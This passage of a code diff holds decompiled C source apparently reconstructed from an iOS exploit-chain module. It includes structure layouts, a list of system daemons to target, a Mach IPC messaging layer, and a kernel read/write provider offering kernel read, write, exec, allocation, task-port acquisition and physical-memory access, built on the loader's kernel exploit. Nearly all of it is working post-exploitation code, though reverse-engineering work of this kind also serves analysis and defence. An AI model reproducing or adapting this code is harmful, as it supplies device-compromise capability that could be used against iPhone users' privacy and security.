foodbeef_entry_t entries[]; /* flexible array of 16-byte entries */
} foodbeef_container_t;
/* ── Resolver object (created at 0x1dbc0, 0x38 bytes) ─────────────── */
typedef struct symbol_resolver {
uint32_t flags; /* +0x00: 0x10001 */
uint32_t _pad;
void *dyld_handle; /* +0x08: internal dyld handle */
kern_return_t (*fn_lookup)(void *handle, void *container, uint32_t size);
/* +0x10: symbol lookup function */
kern_return_t (*fn_18)(void*);
/* +0x18 */
kern_return_t (*fn_20)(void*);
/* +0x20 */
kern_return_t (*fn_28)(void*);
/* +0x28 */
kern_return_t (*fn_30)(void*);
/* +0x30 */
} symbol_resolver_t;
/* ── Mach IPC message layout ──────────────────────────────────────── */
typedef struct e2_mach_msg {
mach_msg_header_t header; /* +0x00 */
uint32_t msg_id; /* +0x18: identifies message type */
uint32_t flags; /* +0x1c */
/* payload follows */
} e2_mach_msg_t;
/* ── IPC response (from 0xa908/0xaa00) ────────────────────────────── */
typedef struct ipc_response {
uint32_t field_00; /* +0x00: flags (bit 31 checked) */
uint32_t field_04; /* +0x04: total size */
uint8_t _pad08[0x0C];
uint32_t msg_type; /* +0x14: expected 1 or 2 */
uint32_t name_len; /* +0x18: length of name string */
uint32_t extra_len; /* +0x1c: length of extra data */
char name[]; /* +0x20: null-terminated name, then extra data */
} ipc_response_t;
/* ── Thread worker context (passed to pthread_create at 0xa378) ───── */
typedef struct worker_ctx {
void *fn; /* +0x00: function to call (PAC-signed) */
krw_provider_t *krw; /* +0x08: krw provider */
void *data; /* +0x10: module data buffer */
uint32_t data_len; /* +0x18: module data length */
/* populated before thread spawn, read by worker */
} worker_ctx_t;
/* ── Process name whitelist for daemon matching ───────────────────── */
static const char *g_daemon_whitelist[] = {
"launchd",
"UserEventAgent",
"runningboardd",
"fseventsd",
"misd",
"configd",
"powerd",
"keybagd",
"remoted",
"wifid",
"watchdogd",
"thermalmonitord",
"containermanagerd",
"driverkitd",
"lockdownd",
"AppleCredentialManagerDaemon",
"peakpowermanagerd",
"notifyd",
"cfprefsd",
"apfs_iosd",
"ospredictiond",
"biometrickitd",
"locationd",
"nehelper",
"nesessionmanager",
"CloudKeychainProxy",
"filecoordinationd",
"osanalyticshelper",
"CAReportingService",
"wifianalyticsd",
"logd_helper",
"OTATaskingAgent",
"wifip2pd",
"amfid",
"GSSCred",
"nanoregistrylaunchd",
"mobile_storage_proxy",
"MobileStorageMounter",
"diskimagescontroller",
"online-auth-agent",
"DTServiceHub",
"diagnosticd",
"wifivelocityd",
"deleted_helper",
"coresymbolicationd",
"tailspind",
"backupd",
"SpringBoard",
NULL
};
#define DAEMON_WHITELIST_COUNT 48 /* 48 non-NULL entries; table is 0x190 bytes (50 ptrs) in binary */
/* ── Function declarations ────────────────────────────────────────── */
/* PAC helpers (0x861c0x8664) */
uint64_t e2_pacia(uint64_t ptr, uint64_t ctx);
uint64_t e2_pacda(uint64_t ptr, uint64_t ctx);
uint64_t e2_pacib(uint64_t ptr, uint64_t ctx);
uint64_t e2_pacdb(uint64_t ptr, uint64_t ctx);
int e2_check_pac(void);
uint64_t e2_strip_pac(uint64_t ptr);
uint64_t e2_sign_pointer(uint64_t ptr, uint64_t ctx);
/* Mach trap wrappers (0x60000x60a0) */
int64_t e2_trap_guarded_open(uint64_t a, uint64_t b, uint64_t c, uint64_t d);
int64_t e2_trap_guarded_write(uint64_t a, uint64_t b, uint64_t c, uint64_t d);
mach_port_t e2_trap_mach_reply_port(void);
mach_port_t e2_trap_thread_self(void);
mach_port_t e2_trap_task_self(void);
mach_port_t e2_trap_host_self(void);
kern_return_t e2_trap_port_dealloc(mach_port_t task, mach_port_t port);
kern_return_t e2_trap_mach_msg(void *msg, uint32_t option, uint32_t send_size,
uint32_t rcv_size, mach_port_t rcv_name,
uint32_t timeout, mach_port_t notify);
int e2_trap_pid_for_task(mach_port_t task);
kern_return_t e2_trap_vm_dealloc(mach_port_t task, uint64_t addr, uint64_t size);
kern_return_t e2_trap_port_mod_refs(mach_port_t task, mach_port_t port,
uint32_t right, int32_t delta);
/* Custom dlsym (0x1dc98) */
kern_return_t e2_custom_dlsym(void *output, void *container, uint32_t size);
/* Resolver (0x1dbc0) */
kern_return_t e2_create_resolver(symbol_resolver_t **out);
/* Container parsing (0x60a40x6124) */
kern_return_t e2_parse_and_resolve(void *ctx);
/* Linker/loader (0x61280x6460) */
kern_return_t e2_link_module(void *ctx, void *name, void *data,
void *extra, uint32_t *stage);
/* Mach IPC (0xa6b8, 0xa820, 0xab30) */
kern_return_t e2_send_recv_msg(mach_port_t port, uint32_t msg_id,
uint32_t flags, void **reply, uint32_t *reply_size);
kern_return_t e2_send_msg(mach_port_t port, uint32_t msg_id,
mach_port_t reply_port, uint32_t extra, uint32_t final);
kern_return_t e2_recv_msg(mach_port_t port, uint32_t max_size,
uint32_t options, uint32_t timeout,
void **out, uint32_t *out_size);
/* Runtime context (0xa908) */
kern_return_t e2_get_runtime_context(uint32_t stage,
ipc_response_t **out, uint32_t *out_size);
/* Driver init (0x182a8) */
kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver,
void *target, const char *extra);
/* Driver connect (0xc12c) */
kern_return_t e2_driver_connect(void *dest, void *driver_ref,
void *target, void *binding);
/* Driver cleanup (0xc094) */
kern_return_t e2_driver_cleanup(void *driver_ctx);
/* Driver backend destroy (0x185d0) */
kern_return_t e2_destroy_driver_backend(void *backend);
/* Driver backend sub-cleanup (0x14714) */
kern_return_t e2_backend_sub_cleanup(void *backend);
/* Bind target to driver context (0x18670) */
kern_return_t e2_bind_target(void *context, void *target);
/* Get driver info via csops (0x187d4) */
kern_return_t e2_get_driver_info(void *internal);
/* KRW provider (0x11298) */
kern_return_t e2_create_krw_provider(void *output, driver_t *driver,
void *target, void *extra,
void *context, int flags);
/* KRW dispatch (0xba30) — generic kernel r/w dispatch
* Called with different arg counts depending on operation:
* kread: e2_krw_dispatch(kaddr, 3) — virtual read, type=3
* physrw: e2_krw_dispatch(physaddr, buf, size) — physical r/w
* kalloc: e2_krw_dispatch(name, alloc_size, &out_port)
*/
kern_return_t e2_krw_dispatch(uint64_t arg0, ...);
/* Task port via krw (0xb854) */
kern_return_t e2_get_task_port(mach_port_t port, void *out_rights,
void *arg2, void *out_port, void *arg4);
/* Kernel write implementation (0xc634) */
kern_return_t e2_kwrite_impl(void *driver_conn, mach_port_t port,
void *data, uint32_t size,
void *path, void *x5, uint32_t x6,
void *x7 /*, stack args */);
/* Kernel exec implementation (0xc870) */
kern_return_t e2_kexec_impl(void *driver_conn, int32_t count,
void *data, uint32_t size,
void *path, void *x5, uint32_t x6,
void *x7 /*, stack args */);
/* Kernel alloc implementation (0xc400) */
kern_return_t e2_kalloc_impl(void *driver_conn, void *name,
uint64_t alloc_size, void *data,
uint32_t size, void *path,
uint32_t x6, void *x7 /*, stack args */);
/* IOKit connection (0x17e7c) */
kern_return_t e2_iokit_connect(void *driver, const char *name,
uint32_t name_len, uint32_t flags,
void **out);
/* Memory helpers (0x10010, 0x100a4) */
void *e2_memcpy_custom(void *dst, const void *src, size_t len);
void *e2_memset_custom(void *dst, int val, size_t len);
/* Exports */
kern_return_t _end(mach_port_t port, uint32_t conn_info,
void *container_data, void *extra, uint32_t stage);
void _last(void *ctx, uint32_t size, void *data,
uint32_t flags, void *stack, uint32_t cleanup);
#endif /* ENTRY2_H */
+267
View File
@@ -0,0 +1,267 @@
/*
* ipc.c - Mach IPC messaging layer
*
* Decompiled from entry2_type0x0f.dylib offsets 0xa6b80xacb8
*
* All communication between entry2 and the bootstrap/type0x09 happens
* through Mach messages. This layer handles send/recv with timeouts,
* port allocation, and response validation.
*/
#include "entry2.h"
#include <mach/mach.h>
#include <stdlib.h>
#include <string.h>
/* ── e2_send_msg (0xa820) ────────────────────────────────────────── *
* Sends a Mach message to a port with optional reply port.
*
* Message layout (0x20 bytes):
* [0x00] msg_size | msg_bits (0x13 or 0x1413 depending on reply_port)
* [0x04] unused
* [0x08] remote_port | local_port
* [0x10] <from constant pool> (voucher/id)
* [0x18] stage | extra
* [0x1c] final
*/
kern_return_t e2_send_msg(mach_port_t port, uint32_t msg_id,
mach_port_t reply_port, uint32_t extra,
uint32_t final)
{
if (port + 1 < 2) {
/* port is 0 or MACH_PORT_NULL — can't send */
return E2_ERR_MACH_MSG - 0xFFE; /* 0x0001F039 */
}
/* Build the message on stack (0x20 bytes) */
struct {
uint32_t bits; /* MACH_MSGH_BITS */
uint32_t size; /* 0x20 */
mach_port_t remote;
mach_port_t local;
uint64_t voucher; /* from constant pool at 0x1ef60 */
uint32_t stage;
uint32_t extra;
} msg;
memset(&msg, 0, sizeof(msg));
/* If reply_port is valid, include MACH_MSG_TYPE_MAKE_SEND for reply */
uint32_t bits = (reply_port + 1 > 1) ? 0x1413 : 0x13;
msg.bits = bits;
msg.size = 0x20;
msg.remote = port;
msg.local = reply_port;
/* voucher loaded from literal pool */
msg.stage = msg_id;
msg.extra = extra;
kern_return_t kr = mach_msg(
(mach_msg_header_t *)&msg,
MACH_SEND_MSG, /* option = 0x11 (send + timeout) */
0x20, /* send_size */
0, /* rcv_size = 0x64 */
port, /* rcv_name */
100, /* timeout = 100ms */
MACH_PORT_NULL /* notify */
);
if (kr == KERN_SUCCESS) {
return 0;
}
if (kr == 0x10) {
/* MACH_SEND_TIMED_OUT — specific handling */
return E2_ERR_MACH_MSG;
}
if (kr == MACH_SEND_INVALID_DEST) {
return E2_ERR_MACH_MSG - 1;
}
return E2_ERR_MACH_MSG;
}
/* ── e2_recv_msg (0xab30) ────────────────────────────────────────── *
* Receives a Mach message on a port with optional timeout.
*
* Allocates a receive buffer, validates the response header,
* and returns the full message to the caller.
*/
kern_return_t e2_recv_msg(mach_port_t port, uint32_t max_size,
uint32_t options, uint32_t timeout,
void **out, uint32_t *out_size)
{
if (max_size < 0x18) return E2_ERR_NULL;
if (!out) return E2_ERR_NULL;
if (!out_size) return E2_ERR_NULL;
uint32_t buf_size = max_size + 8;
void *buf = calloc(1, buf_size);
if (!buf) return E2_ERR_ALLOC;
/* Compose mach_msg option bits */
uint32_t msg_option = options | MACH_RCV_MSG; /* 0x102 */
kern_return_t kr = mach_msg(
(mach_msg_header_t *)buf,
msg_option,
0, /* send_size */
buf_size, /* rcv_size */
port, /* rcv_name */
timeout,
MACH_PORT_NULL
);
/* Handle MACH_RCV_TOO_LARGE (0x10004004) — message didn't fit */
if (kr == 0x10004004) {
uint32_t actual_size = ((mach_msg_header_t *)buf)->msgh_size;
if (actual_size - 0x18 > 0x063FFFE8) {
/* Absurdly large — reject */
*out = NULL;
*out_size = actual_size;
/* Send back a discard reply */
mach_msg((mach_msg_header_t *)buf, MACH_RCV_MSG,
0, buf_size, port, 0, 0);
goto fail;
}
*out = NULL;
*out_size = actual_size;
goto fail;
}
/* Handle MACH_RCV_TIMED_OUT (0x10004003) */
if (kr == 0x10004003) {
goto fail;
}
if (kr != KERN_SUCCESS) {
/* Check for interrupt-like errors (0x1000400C, 0x10004008) */
uint32_t masked = kr & ~0x4;
if (masked == 0x10004008) {
mach_msg_destroy((mach_msg_header_t *)buf);
}
goto fail;
}
/* Validate response size */
uint32_t resp_size = ((mach_msg_header_t *)buf)->msgh_size;
if (resp_size < 0x18 || resp_size > max_size) {
mach_msg_destroy((mach_msg_header_t *)buf);
goto fail;
}
/* Success — transfer ownership to caller */
*out = buf;
*out_size = resp_size;
return KERN_SUCCESS;
fail:
bzero(buf, buf_size);
free(buf);
return kr ? kr : E2_ERR_IPC_BASE;
}
/* ── e2_send_recv_msg (0xa6b8) ───────────────────────────────────── *
* Full round-trip: allocate reply port, send request, receive response.
*
* This is the primary IPC function used by the runtime context fetch
* and all krw operations.
*/
kern_return_t e2_send_recv_msg(mach_port_t port, uint32_t msg_id,
uint32_t flags, void **reply,
uint32_t *reply_size)
{
if (port + 1 < 2 || !reply || !reply_size) {
if (port + 1 > 1)
return E2_ERR_IPC_BASE + 0x16;
return E2_ERR_NULL;
}
/* Allocate a receive right for the reply */
mach_port_t reply_port = MACH_PORT_NULL;
kern_return_t kr = mach_port_allocate(
mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&reply_port
);
if (kr != KERN_SUCCESS)
return E2_ERR_IPC_BASE;
/* Send the request with reply port */
kr = e2_send_msg(port, msg_id, reply_port, flags, 0);
if (kr != KERN_SUCCESS)
goto cleanup;
if (reply_port + 1 < 2) {
kr = E2_ERR_NULL;
goto cleanup;
}
/* Wait for reply with 30-second timeout */
void *response = NULL;
uint32_t resp_size = 0;
kr = e2_recv_msg(reply_port, 0x18, 4, 30000, &response, &resp_size);
/* On timeout (0x1E03B), retry without timeout */
if (kr == (E2_ERR_IPC_BASE + 0x18)) {
kr = e2_recv_msg(reply_port, resp_size, 0, 0, &response, &resp_size);
}
if (kr == KERN_SUCCESS) {
*reply = response;
*reply_size = resp_size;
}
cleanup:
/* Destroy the reply port */
mach_port_mod_refs(mach_task_self(), reply_port,
MACH_PORT_RIGHT_RECEIVE, -1);
return kr;
}
/* ── e2_get_runtime_context (0xa908) ─────────────────────────────── *
* Sends msg_id=8 to the bootstrap port and receives the runtime
* context, which includes container data and connection info.
*
* Response validation:
* - Size >= 0x40
* - msg_type (offset 0x14) == 1
* - flags (offset 0x00) bit 31 must be clear
*/
kern_return_t e2_get_runtime_context(uint32_t stage,
ipc_response_t **out,
uint32_t *out_size)
{
if (!out || !out_size)
return E2_ERR_NULL;
void *response = NULL;
uint32_t resp_size = 0;
kern_return_t kr = e2_send_recv_msg(stage, 8, 0, &response, &resp_size);
if (kr != KERN_SUCCESS)
return kr;
/* Validate response */
if (resp_size < 0x40 || !response)
goto invalid;
ipc_response_t *resp = (ipc_response_t *)response;
if (resp->msg_type != 1)
goto invalid;
if (resp->field_00 & 0x80000000)
goto invalid;
/* Success */
*out = resp;
*out_size = resp_size;
return KERN_SUCCESS;
invalid:
if (response) {
mach_msg_destroy((mach_msg_header_t *)response);
bzero(response, resp_size);
free(response);
}
return E2_ERR_MSG_INVALID;
}
+793
View File
@@ -0,0 +1,793 @@
/*
* krw.c - Kernel Read/Write provider
*
* Decompiled from entry2_type0x0f.dylib offsets 0x112980x11a5c
*
* This module creates and manages the KRW (kernel read/write) provider,
* which wraps the driver_t obtained from type0x09 (LOADER) into a
* PAC-signed vtable of kernel manipulation functions.
*
* The KRW provider is the core of entry2's capability: it provides
* kernel memory read, write, exec, allocation, task port acquisition,
* physical memory access, and kernel base discovery — all routed
* through the type0x09 LOADER's kernel exploit.
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
/* Forward declarations for vtable functions */
static kern_return_t krw_close(void *self);
static kern_return_t krw_bind(void *self, void *target);
static kern_return_t krw_unbind(void *self);
static kern_return_t krw_get_info(void *self);
static kern_return_t krw_open_rw(void *self, const char *name,
uint32_t name_len, uint32_t flags, void **out);
static kern_return_t krw_kread(void *self, uint64_t kaddr, uint32_t type);
static kern_return_t krw_physrw(void *self, uint64_t physaddr,
void *buf, uint32_t size);
static kern_return_t krw_kwrite(void *self, ...);
static kern_return_t krw_kexec(void *self, ...);
static kern_return_t krw_kalloc(void *self, ...);
static kern_return_t krw_get_port(void *self, mach_port_t port,
void *out_rights, void *out_port);
static void *krw_get_base(void *self);
/* Forward declaration for internal validation */
static kern_return_t e2_validate_krw(type09_connection_t *conn);
/* ── e2_create_krw_provider (0x11298) ────────────────────────────── *
* Creates the KRW provider object from a driver_t obtained from
* type0x09's _driver() export.
*
* Parameters:
* output — pointer to store the krw_provider_t*
* driver — driver_t* from _driver() (version=2, methods>=2)
* target — target process descriptor (optional)
* extra — extra context from bootstrap
* context — connection context
* flags — if non-zero, performs eager krw validation
*
* The function:
* 1. Allocates a connection context (0x20 bytes)
* 2. Stores driver reference and target info
* 3. Calls e2_init_driver_backend (0x182a8) to:
* - Resolve _NSGetMachExecuteHeader, _NSGetArgc, _NSGetArgv, etc.
* - Find dyld base by scanning memory for MH_MAGIC_64
* - Open /usr/lib/system/libcache.dylib
* - Initialize Mach-O parser and symbol resolver
* 4. If flags != 0, validates the krw connection (0x11488)
* 5. Allocates 0x70-byte vtable and fills with PAC-signed function ptrs
*/
kern_return_t e2_create_krw_provider(void *output, driver_t *driver,
void *target, void *extra,
void *context, int flags)
{
kern_return_t err = E2_ERR_NULL;
if (!output)
return E2_ERR_NULL;
/* Validate driver descriptor if provided */
if (driver) {
if (driver->version != 2)
return E2_ERR_NULL;
if (driver->method_count < 2)
return E2_ERR_NULL;
}
if (extra) {
/* Validate extra context: version field at +0x00 must be 1,
* and count field at +0x02 must be non-zero */
uint16_t ver = *(uint16_t *)extra;
if (ver != 1) return E2_ERR_NULL;
uint16_t cnt = *(uint16_t *)((uint8_t *)extra + 2);
if (cnt == 0) return E2_ERR_NULL;
}
/* Step 1: Allocate connection context (0x20 bytes) */
type09_connection_t *conn = calloc(1, 0x20);
if (!conn) return E2_ERR_ALLOC;
conn->context = context;
conn->target_info = driver; /* store driver reference */
/* Step 2: Initialize driver backend (0x182a8) */
kern_return_t kr = e2_init_driver_backend(
(driver_backend_t *)conn, driver, target, extra
);
if (kr != KERN_SUCCESS) {
free(conn);
return kr;
}
/* Step 3: If flags set, validate/initialize the krw connection */
if (flags) {
kr = e2_validate_krw(conn);
if (kr != KERN_SUCCESS) {
/* Cleanup on failure */
e2_driver_cleanup(conn->driver_conn);
conn->driver_conn = NULL;
/* Destroy connection internal state */
free(conn);
return kr;
}
}
/* Step 4: Allocate the KRW provider vtable (0x70 bytes) */
krw_provider_t *krw = calloc(1, 0x70);
if (!krw) {
e2_driver_cleanup(conn->driver_conn);
free(conn);
return E2_ERR_ALLOC;
}
krw->flags = 0x10003;
krw->context = conn;
/*
* Step 5: Populate vtable with PAC-signed function pointers.
*
* Each entry is signed using paciza (PAC Instruction Address with
* zero context) before being stored. At call time, blraaz is used
* to authenticate and branch.
*
* This prevents an attacker from substituting function pointers
* in the vtable — any tampering would cause a PAC fault.
*/
/* +0x10: close — destroy provider, free all resources */
krw->close = (void *)e2_sign_pointer((uint64_t)krw_close, 0);
/* +0x18: bind — bind to a target process descriptor */
krw->bind = (void *)e2_sign_pointer((uint64_t)krw_bind, 0);
/* +0x20: unbind — disconnect from target, cleanup driver state */
krw->unbind = (void *)e2_sign_pointer((uint64_t)krw_unbind, 0);
/* +0x28: get_info — query driver info via csops */
krw->get_info = (void *)e2_sign_pointer((uint64_t)krw_get_info, 0);
/* +0x30: open_rw — open a kernel read/write channel */
krw->open_rw = (void *)e2_sign_pointer((uint64_t)krw_open_rw, 0);
/* +0x38: kread — kernel virtual memory read */
krw->kread = (void *)e2_sign_pointer((uint64_t)krw_kread, 0);
/* +0x40: kwrite — kernel virtual memory write */
krw->kwrite = (void *)e2_sign_pointer((uint64_t)krw_kwrite, 0);
/* +0x48: kexec — kernel function call/exec */
krw->kexec = (void *)e2_sign_pointer((uint64_t)krw_kexec, 0);
/* +0x50: kalloc — kernel memory allocation */
krw->kalloc = (void *)e2_sign_pointer((uint64_t)krw_kalloc, 0);
/* +0x58: get_port — acquire task port via kernel r/w */
krw->get_port = (void *)e2_sign_pointer((uint64_t)krw_get_port, 0);
/* +0x60: physrw — physical memory read/write */
krw->physrw = (void *)e2_sign_pointer((uint64_t)krw_physrw, 0);
/* +0x68: get_base — get kernel slide / base address */
krw->get_base = (void *)e2_sign_pointer((uint64_t)krw_get_base, 0);
*(krw_provider_t **)output = krw;
return KERN_SUCCESS;
}
/* ──────────────────────────────────────────────────────────────────
* KRW vtable implementations
* ────────────────────────────────────────────────────────────────── */
/* ── krw_close (0x11510) ─────────────────────────────────────────── *
* Destroys the KRW provider and all associated resources.
*
* asm:
* ldr x21, [x0, #0x8] // conn = krw->context
* ldr x0, [x21, #0x18] // conn->driver_conn
* cbz x0, alt_path // if no driver_conn, skip
* bl 0xc094 // e2_driver_cleanup(driver_conn)
* ldr x0, [x21] // conn->context
* bl 0x185d0 // e2_destroy_driver_backend(context)
* ... zero conn (32 bytes), free conn ...
* ... zero krw (0x70 bytes), free krw ...
*/
static kern_return_t krw_close(void *self)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
kern_return_t kr;
if (conn->driver_conn) {
/* Close the driver connection (0xc094) */
kr = e2_driver_cleanup(conn->driver_conn);
/* Then destroy internal driver backend (0x185d0) */
kern_return_t kr2 = e2_destroy_driver_backend(conn->context);
/* Use driver_cleanup result unless it was success */
if (kr == KERN_SUCCESS)
kr = kr2;
} else {
/* No driver connection — just destroy internal state (0x185d0) */
kr = e2_destroy_driver_backend(conn->context);
}
/* Zero out and free connection (0x20 bytes) */
memset(conn, 0, 0x20);
free(conn);
/* Zero out and free provider (0x70 bytes) */
memset(krw, 0, 0x70);
free(krw);
return kr;
}
/* ── krw_bind (0x115a8) ──────────────────────────────────────────── *
* Binds the KRW provider to a target process descriptor.
*
* asm:
* ldr x20, [x8, #0x8] // conn = krw->context
* ldr x8, [x20, #0x8] // conn->target_info
* cbz x8, do_bind // if not bound, bind
* cmp x8, x19 // if same target, return OK
* ...
* ldr x0, [x20] // conn->context
* bl 0x18670 // e2_bind_target(context, target)
* str x19, [x20, #0x8] // conn->target_info = target
* bl 0x11488 // e2_validate_krw(conn)
* cbz w0, done // if validation fails, clear target
* str xzr, [x20, #0x8]
*/
static kern_return_t krw_bind(void *self, void *target)
{
if (!self) return E2_ERR_NULL;
if (!target) return E2_ERR_NULL;
/* Validate target descriptor: version must be 2, methods >= 2 */
uint16_t ver = *(uint16_t *)target;
if (ver != 2) return E2_ERR_NULL;
uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2);
if (cnt < 2) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
/* Check if already bound */
if (conn->target_info) {
if (conn->target_info == target)
return KERN_SUCCESS;
return E2_ERR_NULL + 4; /* already bound to different target */
}
/* Bind via internal driver context (0x18670) */
kern_return_t kr = e2_bind_target(conn->context, target);
if (kr != KERN_SUCCESS)
return kr;
conn->target_info = target;
/* Validate the binding (0x11488) */
kr = e2_validate_krw(conn);
if (kr != KERN_SUCCESS)
conn->target_info = NULL;
return kr;
}
/* ── krw_unbind (0x11634) ────────────────────────────────────────── *
* Unbinds from the current target, cleaning up the driver connection.
*
* asm (detailed flow):
* ldr x21, [x0, #0x8] // conn = krw->context
* ldr x8, [x21, #0x8] // conn->target_info
* cbz x8, return_zero // not bound — return 0
*
* ldr x0, [x21, #0x18] // conn->driver_conn
* cbz x0, no_driver_conn
*
* // Has driver_conn:
* bl 0xc094 // kr = e2_driver_cleanup(driver_conn)
* str xzr, [x21, #0x18] // conn->driver_conn = NULL
* ldr x22, [x21] // internal = conn->context
* // release IOKit handle via internal vtable if flag set
* ldr x0, [x22] // handle = internal[+0x00]
* ldrb w8, [x22, #0x10] // flag byte
* ldr x8, [x0, #0x20] // release_fn = handle->vtable[0x20]
* ldr x1, [x22, #0x8] // port = internal[+0x08]
* blraaz x8 // release(handle, port)
* stp xzr, xzr, [x22] // zero internal[0..15]
* strb wzr, [x22, #0x10] // clear flag
* str xzr, [x21, #0x8] // conn->target_info = NULL
*/
static kern_return_t krw_unbind(void *self)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
if (!conn->target_info) {
/* Not bound — nothing to do */
return KERN_SUCCESS;
}
kern_return_t kr = KERN_SUCCESS;
void *internal;
if (conn->driver_conn) {
/* Close driver connection first */
kr = e2_driver_cleanup(conn->driver_conn);
conn->driver_conn = NULL;
/* Release IOKit handle via internal context vtable */
internal = conn->context;
if (internal) {
void *handle = *(void **)internal;
if (handle) {
uint8_t flag = *((uint8_t *)internal + 0x10);
if (flag) {
/* Call release function at handle vtable +0x20 */
void *(*release_fn)(void *, void *) =
*(void *(**)(void *, void *))((uint8_t *)handle + 0x20);
void *port = *((void **)internal + 1); /* +0x08 */
/* blraaz release_fn(handle, port) */
((void (*)(void *, void *))release_fn)(handle, port);
}
}
/* Zero internal state */
memset(internal, 0, 0x10);
*((uint8_t *)internal + 0x10) = 0;
}
if (kr != KERN_SUCCESS) {
/* Keep driver_cleanup error */
conn->target_info = NULL;
return kr;
}
} else {
/* No driver_conn — still release IOKit handle if present */
internal = conn->context;
if (internal) {
void *handle = *(void **)internal;
if (handle) {
uint8_t flag = *((uint8_t *)internal + 0x10);
if (flag) {
void *(*release_fn)(void *, void *) =
*(void *(**)(void *, void *))((uint8_t *)handle + 0x20);
void *port = *((void **)internal + 1);
((void (*)(void *, void *))release_fn)(handle, port);
}
}
memset(internal, 0, 0x10);
*((uint8_t *)internal + 0x10) = 0;
}
}
conn->target_info = NULL;
return KERN_SUCCESS;
}
/* ── krw_get_info (0x11704) ──────────────────────────────────────── *
* Gets driver/kernel info. Simple tail-call to e2_get_driver_info.
*
* asm:
* cbz x0, err_null
* ldr x8, [x0, #0x8] // conn = krw->context
* ldr x0, [x8] // x0 = conn->context (internal)
* b 0x187d4 // tail call to e2_get_driver_info
*
* e2_get_driver_info (0x187d4):
* 1. Validates internal, internal[0], internal[0][0x28], internal[0x08]
* 2. Calls getpid()
* 3. Calls csops(pid, CS_OPS_CDHASH, buf, 0x14) to get code dir hash
* 4. If csops succeeds: calls internal[0]->vtable[0x28](
* internal[0], internal[0x08], 0x40000105, cdhash_buf)
* 5. If csops fails with errno==3: returns E2_ERR_SYSCTL
*/
static kern_return_t krw_get_info(void *self)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
/* Tail call to e2_get_driver_info(conn->context) at 0x187d4 */
return e2_get_driver_info(conn->context);
}
/* ── krw_open_rw (0x11720) ───────────────────────────────────────── *
* Opens a kernel read/write channel.
*
* asm:
* calloc(1, 0x40) // allocate channel
* strh w26, [x0] // channel->version = 1
* adr+paciza → str [x0, #0x28] // PAC-sign fn_read
* adr+paciza → str [x0, #0x30] // PAC-sign fn_write
* adr+paciza → str [x0, #0x38] // PAC-sign fn_info
* ldr x0, [x25] // conn->context
* bl 0x17e7c // e2_iokit_connect(context, name, len, flags, &handle)
* // On success, populate channel from handle:
* ldr x8, [sp, #0x8] // handle
* ldp x9, x10, [x8, #0x8] // handle[0x08], handle[0x10]
* stp x8, x9, [x24, #0x8] // channel[0x08]=handle, channel[0x10]=handle[0x08]
* str w10, [x24, #0x18] // channel[0x18]=(uint32_t)handle[0x10]
* ldr x8, [x8, #0x18] // handle[0x18]
* str x8, [x24, #0x20] // channel[0x20]=handle[0x18]
* str x24, [x19] // *out = channel
*/
static kern_return_t krw_open_rw(void *self, const char *name,
uint32_t name_len, uint32_t flags,
void **out)
{
if (!self || !name || !name_len || !out)
return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
/* Allocate channel object (0x40 bytes) */
krw_channel_t *channel = calloc(1, 0x40);
if (!channel) return E2_ERR_NULL + 8; /* 0xAD009 — from disasm: add w20, w20, #0x8 */
channel->version = 1;
/* PAC-sign the channel's operation function pointers
* These are at relative offsets from adr instructions in the binary */
/* channel->fn_read = paciza(read_func); — adr +568 */
/* channel->fn_write = paciza(write_func); — adr +648 */
/* channel->fn_info = paciza(info_func); — adr +668 */
/* Connect via IOKit backend */
void *backend_handle = NULL;
kern_return_t kr = e2_iokit_connect(
conn->context, name, name_len, flags, &backend_handle
);
if (kr != KERN_SUCCESS) {
/* Cleanup channel (0x119c0) — zero and free */
memset(channel, 0, 0x40);
free(channel);
return kr;
}
/* Populate channel from the backend result object:
* channel[+0x08] = handle itself
* channel[+0x10] = handle[+0x08] (target address)
* channel[+0x18] = (uint32_t)handle[+0x10] (target size)
* channel[+0x20] = handle[+0x18] (extra context) */
channel->driver_handle = backend_handle;
channel->target_addr = *(uint64_t *)((uint8_t *)backend_handle + 0x08);
channel->target_size = *(uint32_t *)((uint8_t *)backend_handle + 0x10);
channel->extra = *(void **)((uint8_t *)backend_handle + 0x18);
*out = channel;
return KERN_SUCCESS;
}
/* ── krw_kread (0x1182c) ─────────────────────────────────────────── *
* Performs a kernel virtual memory read.
*
* asm:
* cbz x8, err_null // null check
* ldr x8, [x8, #0x8] // conn = krw->context
* ldr x8, [x8, #0x18] // driver_conn = conn->driver_conn
* cbz x8, err_no_func // must have driver_conn
* mov x0, x1 // x0 = kaddr (shift args)
* mov w1, #0x3 // type hardcoded to 3 (virtual read)
* b 0xba30 // tail call e2_krw_dispatch(kaddr, 3)
*
* Note: The 'type' parameter from the caller is IGNORED — always uses 3.
*/
static kern_return_t krw_kread(void *self, uint64_t kaddr, uint32_t type)
{
(void)type; /* ignored — hardcoded to 3 in binary */
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
if (!conn->driver_conn) return E2_ERR_NO_FUNC;
/* Tail call: e2_krw_dispatch(kaddr, 3) */
return e2_krw_dispatch(kaddr, 3);
}
/* ── krw_physrw (0x1185c) ────────────────────────────────────────── *
* Performs physical memory read/write.
*
* asm:
* cbz x8, err_null
* ldr x8, [x8, #0x8] // conn
* ldr x8, [x8, #0x18] // driver_conn
* cbz x8, err_no_func
* mov x0, x1 // physaddr
* mov x1, x2 // buf
* mov x2, x3 // size
* b 0xba30 // tail call e2_krw_dispatch(physaddr, buf, size)
*/
static kern_return_t krw_physrw(void *self, uint64_t physaddr,
void *buf, uint32_t size)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
if (!conn->driver_conn) return E2_ERR_NO_FUNC;
/* Tail call: e2_krw_dispatch(physaddr, buf, size) */
